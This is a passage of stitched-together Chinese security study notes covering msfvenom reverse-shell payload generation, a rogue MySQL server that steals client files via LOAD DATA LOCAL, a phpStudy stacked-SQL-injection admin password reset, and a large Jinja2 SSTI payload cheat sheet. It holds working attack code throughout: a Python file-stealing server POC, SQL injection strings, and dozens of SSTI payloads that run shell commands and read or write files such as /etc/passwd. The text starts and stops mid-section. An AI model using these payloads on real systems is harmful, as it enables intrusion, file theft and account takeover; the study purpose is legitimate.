Stagsless payloads通常更易于使用和捕获。然而,它们也更加庞大并且更容易被反病毒或入侵检测程序发现和移除。Staged paylodas 更难以使用,但是 初始的 stager 更加短小,所以有时不会被低效的反病毒软件察觉。现代防病毒解决方案还将利用反恶意软件扫描接口 (AMSI) 来检测由 stager 加载到内存中的 payloads,从而使分阶段的 payloads 在该区域的效率不如以前。
++Meterpreter++在 Metasploit 主题中要谈论的另一个重要的事物就是 Meterpreter shell。Meterpreter shell 是 Metasploit 特有的全功能 shell。Meterpreter shell 完全稳定,这在渗透 windows 目标时非常有用。此外,Meterpreter shell 有许多内置的功能,比如文件上传和下载。如果我们想要使用 Metasploit post-exploitation 模块下的任意工具,那么我们就需要使用一个 meterpreter shell。meterpreter shell 的缺点是它们必须被 Met
linux/86/shell/reverse_tcp
以上命令会生成一个用于 linux x86 目标的 stageless 反向 shell。但是以上命名约定对于 Windows32 操作系统的目标不太适用,对于这类目标,通常不指定体系结构。比如:
windows/shell_reverse_tcp
对于 64 比特的 Windows 目标,通常指定体系结构为 x64。 以上的例子中所用的 payload 是 shell_reverse_tcp,这表明其是一个 stageless payload。为什么呢?因为 Stageless payloads 用 下划线表示。这个 payload 的 staged 版本是 shell/reverse_tcp,因为 staged payloads 用斜线来表示。
一个 32 位的 linux stageless Meterpreter payload 如下所示:
linux/x86/meterpreter_reverse_tcp
当我们在使用 msfvenom 时,要注意到的另一件重要的事情是:
msfvenom --list payloads
该命令可用于列出所有可用 payloads,我们可在该命令后拼接上管道符以及 grep 命令来查找特定 payloads 集合。举个例子:
以上命令会给出 32 位 linux 目标的 neterpreter paylodas 的完整集合。 回答以下问题:
生成一个用于 64 位 Windows 目标的 staged 反向 shell(.exe 格式)
哪个符号被用来表明一个 shell 是 stageless 的?
使用什么命令生成一个用于 64 位的 Linux 目标的 staged meterpreter 反向 shell?假定你的 ip 是 10.10.10.5,监听的端口是 443,shell 的格式是 elf,输出的文件名是 shell
msfvenom -p linux/x64/meterpreter/reverse_tcp -LHOST=10.10.10.5 -LPORT=443 -f elf -o shell
Mysql LOAD DATA读取客户端任意文件
前言
MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情。
但是一般的通信都是客户端发送一个 MySQL 语句然后服务器端根据这条语句查询后返回结果,也没什么可以利用的。但是 MySQL 有个语法 https://dev.mysql.com/doc/refman/8.0/en/load-data.html 可以用来读取一个文件的内容并插入到表中。
从上图的官方文档说明可以看到,该命令既可以读取服务端的文件,也可以读取客户端的文件,这取决于 LOCAL modifier 是否给定。
读取服务端上的文件内容存入表中的 SQL 语句是:
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
读取客户端上的文件内容存入表中的 SQL 语句是:
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
两相对比,读取客户端上的文件内容多了一个 local 关键字。
以上所描述的过程可以形象地用两个人的对话来表示:
客户端:把我本地 /data/test.csv 的内容插入到 TestTable 表中去
服务端:请把你本地 /data/test.csv 的内容发送给我
客户端:好的,这是我本地 /data/test.cvs 的内容
服务端:成功/失败
正常情况下这个流程没有问题,但是前文提到了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话:
客户端:请把我本地 /data/test.csv 的内容插入到 TestTable 表中去
服务器:请把你本地 /etc/passwd 的内容发送给我
客户端:好的,这是我本地 /etc/passwd 的内容
服务端:成功偷取文件内容
这样服务端就非法拿到了 /etc/passwd 的文件内容!接下来开始进行这个实验,做一个恶意服务端来欺骗客户端。为了编写出伪造恶意 MySQL 服务器的 POC,必须对 MySQL 协议有足够的了解,所以接下来尝试分析一下 MySQL 协议的数据包。
MySQL 协议数据包分析
为了非法读取客户端文件,我们需要实现一个假的 MySQL 服务器。那如何实现呢?这需要我们对 MySQL 协议展开详细的分析才能做到,好在借助 Wireshark 结合 MySQL 官方文档可以帮助我们轻松分析 MySQL 协议的数据包。
我以 ubuntu 虚拟机为客户端,windows物理机为服务端,借助 Wireshark 工具捕捉两者间的 mysql 通信数据包。
客户端ip:192.168.239.129
服务端ip:192.168.1.3
客户端和服务端之间交互的 MySQL命令如下
mysql -h 192.168.1.3 -P 3306 -u root -p
use security;
load data local infile "/etc/passwd" into table users;
开启物理机的 mysql,这里注意需要设置 mysql 允许外来连接,不知道如何操作看看这篇文章
https://blog.csdn.net/qq_18948359/article/details/1025005902.打开 wireshark,选择捕获 Vmware 相关的网卡并选择过滤 MySQL 协议,然后用虚拟机连接。
注意:不要使用 mysql 8.0.12 版本,否则相关的数据包显示不完整,甚至连接的用户名都显示不了,这个版本的加密可能更严格吧。
官方文档告诉我们 MySQL 协议也支持通过 TLS 进行加密和身份验证。https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_tls.html
那我们捕获的数据包是否进行了加密呢?稍加分析一下这些捕获的数据包就可以判断其确实使用了 TLS 进行了加密。接下来我们根据文档结合 Wireshark 捕获的数据包来进行实践论证!
连接过程数据包
运行连接命令时捕获到的数据包
mysql -h 192.168.1.3 -P 3306 -u root -p
不打算全部都细说,就以前两个数据包为例子,和官方文档对照来学习其结构。
第一个数据包 Protocol::HandshakeV10 服务端到客户端
当客户端通过 MySQL 协议连接到 服务端会发生什么呢?官方文档 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake.html告诉我们当客户端连接到服务端时,服务端会发送一个初始的握手数据包(Initial Handshake Packet)给客户端。根据服务端的版本和配置选项,服务端会发送不同的初始数据包。
为了服务端可以支持新的协议,Initial Handshake Packet 初始的握手数据包的第一个字节被定义为协议的版本号。从 MySQL 3.21.0 版本开始,发送的是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_v10.html
我采用的 MySQL 版本是 5.7.26,所以发送的就是 Protocol::HandShakeV10 ,我们可以看看文档是如何定义这个数据包的结构的:
关于 Type 字段各个值的含义在 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_dt_integers.html#a_protocol_type_int1 和 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_dt_strings.html#sect_protocol_basic_dt_string_null
int<1> 就是 一个字节,string<NUL> 表示以 00 字节结尾的字符串。
我们点开 Wireshark 中服务端给客户端发送的初始数据包,从 Server Greeting 字段开始就是 payload 部分,也就是初始的握手数据包。从图中我们可以看到有协议版本、服务端的 MySQL 版本、进程 ID。这和我们上图的文档是不是完美对应上了?
Protocol::HandShakeV10 只定义了一个数据包的 payload 部分,而关于头部的定义在 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_packets.html
和实际的数据包的对应:
payload_length:
sequence_id:
payload:
值得注意的是 Wireshark 的数据是按照小端排列的,比如数据包长度 74 对应的字段数据是 4a 00 00。
其余的字段就不再分析了,大同小异。紧接着简单看看客户端给服务端的回应吧。官方文档告诉我们,如果客户端支持 SSL(https://dev.mysql.com/doc/dev/mysql-server/latest/group__group__cs__capabilities__flags.html & CLIENT_SSL is on and the https://dev.mysql.com/doc/dev/mysql-server/latest/mysql_8h.html#ae246c1906ffb10491c3876ce39bb1d7b of the client is not SSL_
如果不支持,那么客户端会返回 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_response.html 。同时在任何时候,发生任何错误,客户端都会断开连接。
第二个数据包 Protocol::HandshakeResponse41 客户端到服务端
根据前面的分析,这里客户端如果支持 SSL,那么会发送 Protocol::SSLRequest 数据包,否则就是Protocol::HandshakeResponse:。根据我的验证,应该发送的是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_response.html#sect_protocol_connection_phase_packets_protocol_handshake_response41
感觉挺奇怪的,我觉得应该发送 SSLRequest 才是,但是其包结构却又对应不上。
client_flag(4字节),包括了扩展的 Client capabilities
max_packet_size(4字节)
0x01000000 = 16777216
character_set(1字节)
filler(23字节)
username(以 00 结尾的字符串)
auth_response
文档中说这是一个条件选项,当前的数据包是满足这个条件的。
根据文档对这个字段的释义,其是一个不透明的验证响应。没想到在实际数据包中是一个密码,经过了某个哈希算法。我没有去求证 MySQL 采用什么哈希算法,
接下来就不继续分析,大同小异。
这个数据包的重点在于能够表明客户端是否支持 LOAD DATA LOCAL,这是我们可以读取客户端本地文件的根本。关于这个字段的定义在:https://dev.mysql.com/doc/dev/mysql-server/latest/group__group__cs__capabilities__flags.html#ga06acc4847890b7ef14a8e7c0782a679c
第三个数据包 Ok_Packet 服务端到客户端
这个数据包一看就是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_ok_packet.html
第四个数据包 COM_QUERY 客户端到服务端
这个数据包是
第五个数据包 Text Resultset 服务端到客户端
这个数据包是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_text_resultset.html
选择 security 数据库捕获的数据包
当客户端向服务端发送 use security 命令选择数据库时捕获到的数据包。特别多,下图并没有截完整。这一步不重要
读取客户端文件捕获的数据包
在客户端上执行如下命令将 /etc/passwd 文件内容写入到 users 表时捕获到的数据包。
load data local infile "/etc/passwd" into table users;
一共就四个包,很明显第一个包是一个 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query.html
这个图我不小心去读服务端的文件了,但是无伤大雅。数据包结构是一样的,而且下图我重抓啦~
糟糕的是第三个数据包由于我的物理机拒绝了访问而导致这个数据包是一个错误响应数据包。
我在这里找到了解决方案
https://stackoverflow.com/questions/63361962/error-2068-hy000-load-data-local-infile-file-request-rejected-due-to-restrict连接的时候用
mysql --local-infile=1 -u root -p -h 192.168.1.3
重新抓一遍包!!
第一个数据包 客户端到服务端 COM_QUERY
第二个数据包 服务端到客户端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_local_infile_request.html
这个数据包很重要,是构造恶意 MySQL 服务器的重点,我们需要根据这个数据包的结构书写 payload。具体地说,需要伪造的部分是 MySQL 数据包的首部和 payload 部分。还记得前面的 MySQL 数据包的结构图吗?
对照一下上图就会发现这个 MySQL 协议数据包的头部是
0c 00 00 01
对应的 payload(不是 wireshark 的那个 Payload) 是
fb 2f 65 74 63 2f 70 61 73 73 77 64
第三个数据包 客户端到服务端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query.html
上一个数据包服务端给客户端发送LOAL INFILE Request 的响应后,客户端发给服务端的这一个数据就包含了 /etc/passwd 文件的内容。
第四个数据包 服务端到客户端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_ok_packet.html
客户端经过两个请求,成功的将自己的 /etc/passwd 文件插入到表 users 中,
根据我们前面所说,客户端在发送完第一个请求之后并不会存储这个请求,而是直接丢弃。所以第二步是根据服务端的响应来进行,这里服务器就可以欺骗客户端做一些事情(改变第二个数据包的响应内容)。有了以上的铺垫,POC 的编写并不困难。只需要完成连接过程,然后修改第二个数据包的响应内容就好。
POC
我懒得完整编写 POC 了,所以从网上抄了一个。值得一提的是这个 POC 并不标准,在连接建立过程中发送的数据并没有包含数据包首部,而发送 payload 的时候又包含了首部。(同时从编写的代码来看好像编写者并没有对数据包的构成有一个准确的认识 hhh,当然也有可能是我错了)
客户端发送请求数据包
服务端发送 Mysql 的 Greet 与 banner 信息
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的
获取到文件信息直接输出
#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#数据包长度
payloadlen = "\x0c" #这里明显有问题啦,因为文档告诉我们数据包的长度是用三个字节表示的
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #这里又把序列号拼在了 数据包的 payload部分
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
在服务器运行以上脚本,并在客户端连接
收到 /etc/passwd 文件内容
读取 /flag
如果想要读取 /flag 如何修改 payload 呢?这是一个很简单的问题,因为已知了这是一个 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_local_infile_request.html 数据包,所以只需要构造一下数据包首部和 payload 部分即可(保持 POC 中其余字段不变)。
首部包括三个字节长的长度字段,一个字节长的序列号。
payload 部分是一个字节长的包类型 0xFB 和 xx 字节长的文件名
现在真正的数据部分是/flag,转换成十六进制为 2f666c6167,其拼接上一个字节的包类型 0xFB 就凑成了 payload 部分:fb 2f 66 6c 61 67 ,故首部中的长度字段值为 0x06。
小皮1-click漏洞的代码审计学习笔记
漏洞简介
漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。
环境搭建
windows 上实际操作了一下,不方便进行分析
于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码
wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh
修改代码 web/service/app/account.php 中登录的部分
if($type=='login'){
$username = post('username');
$pwd = post('password');
$verifycode = post('verifycode');
$res = Account::login($username,$pwd,$verifycode);
xpexit(json_encode($res));
}
打开代码 /usr/local/phpstudy/web/service/app/account.php 修改代码
漏洞复现
windows
在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果
import hashlib
str = "123456"
for i in range(0,5):
str = hashlib.md5(str.encode()).hexdigest()
print(str)
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录
Linux
在用户登录处构造 payload
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
错误类型并不相同,但也成功的将密码修改
漏洞分析
查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090
9080 对应的是 web 端的信息 8090 对应的是二进制程序
外部访问不到 8090 端口 只能再内部构造数据进行通信
项目的代码在 /usr/local/phpstudy/web
web/service/app/account.php
web/service/app/model/Account.php
通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理
我们可以根据代码逻辑伪造 socket 请求
{"command":"login","data":{"username":"admin","pwd":"123456"}}^^^
利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433 监控 phpstudy 的进程,发送错误的payload
{"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^
获取到登录时对应的 SQL 语句
SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。
这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
拼接到 SQL 语句中就为
SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
最终执行的 SQL 语句为
SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';
将用户 admin 的 密码修改为了 123456
再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。
第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误
输入构造的 payload
再次利用 admin/123456 登录成功,用户的密码已经被修改
SSTI之细说jinja2的常用构造及利用思路
现在关于ssti注入的文章数不胜数,但大多数是关于各种命令语句的构造语句,且没有根据版本、过滤等具体细分,导致读者可能有一种千篇一律的感觉。所以最近详细整理了一些SSTI常用的payload、利用思路以及题目,谨以结合题目分析以及自己的理解给uu们提供一些参考,如有写错的地方,还望大佬们轻喷。
在介绍下ssti(服务端模板注入)的具体成因及案例之前,有必要先引入模板引擎的概念。
模板引擎介绍
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。 其不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI(服务端模板注入)攻击
SSTI(server-side template injection)为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。主要为python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序
各框架模板结构如下图所示:
实例
这里使用python的flask框架测试ssti注入攻击的过程。
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/ssti', methods=['GET', 'POST'])
def sb():
template = '''
<div class="center-content error">
<h1>This is ssti! %s</h1>
</div>
''' % request.args["x"]
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
本地测试如下:
发现存在模板注入
获得字符串的type实例
?name={{"".__class__}}
这里使用的置换型模板,将字符串进行简单替换,其中参数x的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
以flask的jinja2引擎为例,官方的模板语法如下:
{% ... %} 用于声明,比如在使用for控制语句或者if语句时
{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '1+1' 这个表达式
{# ... #} 用于模板注释
# ... ## 用于行语句,就是对语法的简化
#...#可以有和{%%}相同的效果
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下图通过 SSTI 命令执行成功执行 whoami 命令:
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
可以看到命令被成功执行了。下面讲下构造的思路:
一开始是通过class通过 base 拿到object基类,接着利用 subclasses() 获取对应子类。在全部子类中找到被重载的类即为可用的类,然后通过init去获取globals全局变量,接着通过builtins获取eval函数,最后利用popen命令执行、read()读取即可。
上述构造及实例没有涉及到过滤,不需要考虑绕过,所以只是ssti注入中较简单的一种。但是当某些字符或者关键字被过滤时,情况较为复杂。实际上不管对于哪种构造来说,都离不开最基本也是最常用的方法。下面是总结的一些常用到的利用方法和过滤器。
常用的方法
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。
此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
__new__功能:用所给类创建一个对象,并且返回这个对象。
常用的过滤器
详细说明可以参考官方文档:https://jinja.palletsprojects.com/en/latest/templates/,这里列出一些常用的,有待补充。
issubclass(A,B): 判断A类是否是B类的子类
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
select() 通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。如果没有指定测试,则每个对象都将被计算为布尔值
可以用来获取字符串
实际使用为
()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>
常用的构造语句
接着是总结的一些常用的命令执行语句。
无过滤
# 读文件
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
#通用 getshell
原理就是找到含有 __builtins__ 的类,然后利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
上面这些语句也不是说一成不变的随意套题目,还需要根据是否有过滤、框架是否有该可利用类、python版本高低等进行构造利用链,等下面说到利用思路时再结合例题分析,接着总结有过滤的情况。
有过滤
绕过 .
中括号[]绕过
可以利用 [ ]代替 . 的作用。
{{().__class__}} 可以替换为:
{{()["__class__"]}}
举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
attr()绕过
使用原生 JinJa2 的 attr() 函数。
{{().__class__}} 可以替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
举例:
